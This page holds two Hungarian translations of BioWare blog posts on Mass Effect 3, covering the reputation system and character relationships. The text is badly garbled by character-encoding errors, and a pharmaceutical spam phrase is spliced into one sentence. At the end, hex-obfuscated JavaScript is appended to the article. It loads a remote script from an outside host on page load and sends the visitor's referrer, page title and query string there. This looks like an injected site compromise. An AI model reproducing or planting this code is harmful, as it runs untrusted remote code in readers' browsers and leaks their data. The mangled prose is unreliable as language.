Bioware blog: ElismertsA�g a Mass Effect 3-ban

A?rta: Patrick Weekes

BA?r a legfA�bb munkA?nk a plot A�s a karakterek fejlesztA�se, valamint a dialA?gusok A�rA?sa, a Bioware legtA�bb A�rA?ja egyA�b feladatokkal is el van foglalva. PA�ldA?ul a galaxistA�rkA�p logikA?jA?val A�s a bolygA?leA�rA?sokkal (Chris Hepler), az ellensA�g csataA?vA�ltA�seivel (Jay Watamaniuk), vagy hogy egy Vanguarddal engem idegesA�tsen (Sylvia Feketekuty). Van egy rendszer, amin A�n dolgoztam a Mass Effect sorA?n, mA�ghozzA? a reputA?ciA? rendszer – A�s, ahogy a legtA�bb esetben, itt is jelentA�s fejlA�dA�s lA?tszik a Mass Effect 3-ban.

Mi is ez?

Nos, pontosan az, aminek hangzik. Ahogy a hA?borA? szA�tterjed a galaxisban, olyan dolgokat fogsz csinA?lni, amik felkeltik a nA�pek figyelmA�t. A�s amennyiben az elismertsA�ged megfelelA�en impresszA�v, azok az emberek, akiket egyA�bkA�nt nem A�rdekelnA�l, komolyan fogjA?k venni, amikor valami olyasmit mondasz, hogy “Kiirtom a teljes fajodat, ha nem teszed le azt a fegyvert!”. Egy komolyan elismertsA�g megnyit olyan pA?rbeszA�d lehetA�sA�geket, amik egyA�bkA�nt nem lennA�nek elA�rhetA�k; ezek A?ltalA?ban jobb eredmA�nyeket hoznak, mint a normA?l opciA?k.

NA�ha a ReputA?ciA? hordoz magA?ban PA�ldakA�p vagy RenegA?t A�rtelmet is. A PA�ldakA�p akciA?k A?ltalA?ban szA�vetsA�gek A�pA�tA�sA�rA�l, a galaktikus tA�rvA�nyeknek valA? megfelelA�srA�l szA?l, A�s olyan dA�ntA�sekrA�l, amik szimpA?tiA?t A�s bizalmat A�bresztenek. A RenegA?t akciA?k A?ltalA?ban cA�lratA�rA�, eredmA�ny-orientA?lt megkA�zelA�tA�st jelentenek, a tA�rvA�nyek megszegA�sA�t vagy extrA�m lA�pA�sek megtA�telA�t a munka elvA�gzA�se A�rdekA�ben.

A�s mi nem?

A korA?bbi Bioware jA?tA�kokban – fenA�be is, a korA?bbi Mass Effect jA?tA�kokban – az egyedi pA?rbeszA�d opciA?k olyan helyeken fordultak elA�, ahol Shepard, a KamarA?s, a Spirit Monk vagy “a KOTOR jA?tA�kos karaktere, akinek a neve mA?r nem is spoiler” kialkudott a szerencsA�tlen szemlA�lA�ktA�l nA�mi extra pA�nzt. Azok a jA?tA�kosok, akik pontokat A?ldoztak a MeggyA�zA�s-tA�pusA? kA�pzettsA�gekre, mindegyik jA?tA�kban tA�bb jutalmat nyerhettek vagy kedvezmA�nyeket csikarhattak ki a kereskedA�ktA�l.

SajnA?latos mA?don a Mass Effect 3-ban, amikor a hA?borA? csalA?dokat szakA�t szA�t, A�s egA�sz kontinensek vA?lnak parA?zslA? krA?terekkA�, az “Shepard parancsnok vagyok A�s ez a kedvenc boltom a FellegvA?rban”-tA�pusA? mondatoknak nincs akkora sA?lyuk, mint korA?bban. Az emberek A�gy is eladnak neked olyan dolgokat, amiket egyA�bkA�nt nem szokA?suk, mivel te vagy a vilA?gegyetem utolsA? remA�nye. Az elismertsA�ged arra valA?, hogy vilA?gokat ments meg A�s szA�vetsA�geseket nyerj, nem pedig hogy jobb A?ron szerezd be a tA�ligumit.

Valamint, sosem leszel a Mass Effect 3 fA�gonosza. Ha mindig a RenegA?t vA?laszokat vA?lasztod a jA?tA�kban, akkor lehet goromba a barA?taiddal, brutA?lis az ellensA�geiddel; meghozhatsz olyan kemA�ny dA�ntA�seket, amik a barA?tsA?gaidba kerA?lnek; elkA�vethetsz olyan sA?lyos bA�nA�ket, amik ha napvilA?got lA?tnA?nak, szA�rnyetegnek bA�lyegeznA�nek A�rte. De vA�gig a galaxis megmentA�sA�A�rt kA?zdesz, bA?rmilyen taktikA?t is vA?lasztasz.

Bioware blog: ElismertsA�g a Mass Effect 3-ban részletei…

Bioware blog: AstmutatA? a szerelemhez A�s boldogsA?ghoz

A?rta: Mac Walters, a Mass Effect 3 vezetA� forgatA?kA�nyvA�rA?ja a Bioware hivatalos blogjA?n

Valamikor lA?ttam egy nem-annyira-segA�tA�kA�sz inspirA?ciA?s plakA?tot, amely szerint “azokat az utakat kell megbA?nnunk, amiken nem mentA?nk vA�gig”. Hogy A�szinte legyek, ha elA�re tudom, hogy hol vA�gzA�dik minden utam, biztos, hogy megprA?bA?ltam volna elkerA?lni mindegyiket. De milyen A?ron? Hogyan tudnA?m megvA?ltoztatni, hogy elA�rjek bizonyos eredmA�nyeket az A�letemben A�s a kapcsolataimban? Mindez ahhoz a mA�g gyakrabban ismA�telgetett inspirA?ciA?s mondA?shoz vezet: “Nem a vA�gA?llomA?s a lA�nyeg, hanem az A?t”.

Tetszik, nem tetszik, egyet kell A�rtenem ez utA?bbival. A�s ami mA�g fontosabb, tA�kA�letesen leA�rja, hogyan A�rzek a Mass Effect 3-al kapcsolatban…

A legjobb mA?dja, hogy A�lvezd a karaktereket A�s a kapcsolatokat a Mass Effect 3-ban, az az, hogy megtapasztalodA�A�ket.

Nem a vA�gA?llomA?srA?l vagy az eredmA�nyrA�l szA?l – hanem azokrA?l a pillanatokrA?l, amiket ezekkel a karakterekkel tA�ltesz. Igen, persze nA�hA?nyukkal romantikus viszonyba is kavarodhatsz, de hol az izgalom, ha elA�re tudod ezeket? A?szintA�n hiszem, hogy sokkal jobban fogod A�lvezni ezeket a karaktereket, ha nem tudsz elA�re dolgokat.

A�s nagyon sokat tettA?nk azA�rt, hogy az utazA?sod minden egyes karakterrel a legjobb legyen a Mass Effect 3-ban.

EmlA�kezetes pillanatok: A Mass Effect 3-ban a karakterekkel tA�rtA�nA� pA?rbeszA�dek sokkal tA�bbet jelentenek, mint infA?szerzA�si lehetA�sA�get; feledhetetlennek terveztA?k A�ket. Minden egyes A�rA?t arra motivA?ltam, hogy minden egyes pillanatot feledhetetlenre tervezzenek. Ezeknek a pillanatoknak nem kell hosszA?aknak lenniA?k, nem kell, hogy sok szA?bA?l A?lljanak, de jelenteniA?k kell valamit – a karakternek, Shepardnak A�s remA�lhetA�leg neked. Egy praktikus megoldA?s, amit vA?lasztottunk az volt, hogy nem tA?rsul ezekhez a pillanatokhoz fix helyszA�n. SzA? szerint bA?rhol megtA�rtA�nhetnek. A�s remA�lhetA�leg egy olyan helyen, ami jelent valamit az adott karaktereknek.

Dinamikus interakciA?k:A�A kapcsolatok most termA�szetesebben alakulnak, mint a Mass Effectben valaha. A karakterek reagA?lnak minden egyes dA�ntA�sedre A�s akciA?dra, termA�szetesen beleA�rtve a romantikusabbakat is. LehetA�sA�get adunk arra, hogy minden egyes interakciA? hosszA?tA?von is jelentsen valamit. Ez nem csak arrA?l szA?l, hogy teljesA�ts egy pA?rbeszA�det ahhoz, hogy egy A?jabbhoz juss; ez arrA?l szA?l, hogyanA�vA?laszolsz a pA?rbeszA�dekben. A�s arrA?l is, hogy milyen dA�ntA�seket hozol, amik fejlesztik ezt a kapcsolatot.

SzemA�lyes kapcsolatok: A mA?ltban gyakran A?gy kerA?ltA�l “kA�zelebb” a karakterekhez a Mass Effectben, hogy egyszerA�en csak informA?ciA?t cserA�ltA�l velA?k. Ezek a pA?rbeszA�dek bA?rmit jelenthettek, de egy tA�mA?t ritkA?n A�rintettek: Shepard kapcsolatA?t albenza 200 mg. A�az adott karakterhez. A Mass Effect 3-ban ezekbA�l a tA�mA?kbA?l egy elA�jA�n – azok szA?mA?ra, akik ezt keresik: Shepard szemA�lyes kapcsolata azokkal, akik a legkA�zelebb A?llnak hozzA?. NA�hA?ny karakter szA?mA?ra a Mass Effect 3-ban ez egy A�rzelmi hullA?mvasutat jelent a parancsnokkal, A�s muszA?j valamit mondaniuk ezzel kapcsolatban.

Ezek nA�ha csak olyan dolgok, amikkel be akartuk biztosA�tani, hogy A�lvezni fogod a kapcsolatokat A�s a karaktereket a Mass Effect 3-ban azA?ltal, hogy megtapasztalodA�A�ket, nem pedig egyszerA�en csak jA?tszodA�A�ket. A�s azok, akik tovA?bbra is kA�tsA�gbeesetten akarnak egy “AstmutatA?t a szerelemhez A�s boldogsA?ghoz a�?”, nyilvA?n meg fogjA?k talA?lni az A�sszes rA�szletet a kA?lA�nbA�zA� fA?rumokban.

AkA?rhogy is, remA�lem, A�lvezni fogjA?tok azokat a kreatA�v megoldA?sokat, amikkel mA�g tA�bb A�letet prA?bA?ltunk lehelni a karakterekbe A�s a kapcsolatokba a Mass Effect 3-ban. A�s ha bA?rmilyen spoiler-mentes kA�rdA�sed vagy hozzA?szA?lA?sod lenne, mindig elA�rsz a @macwalerslives Twitter csatornA?n.var _0x31f1=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}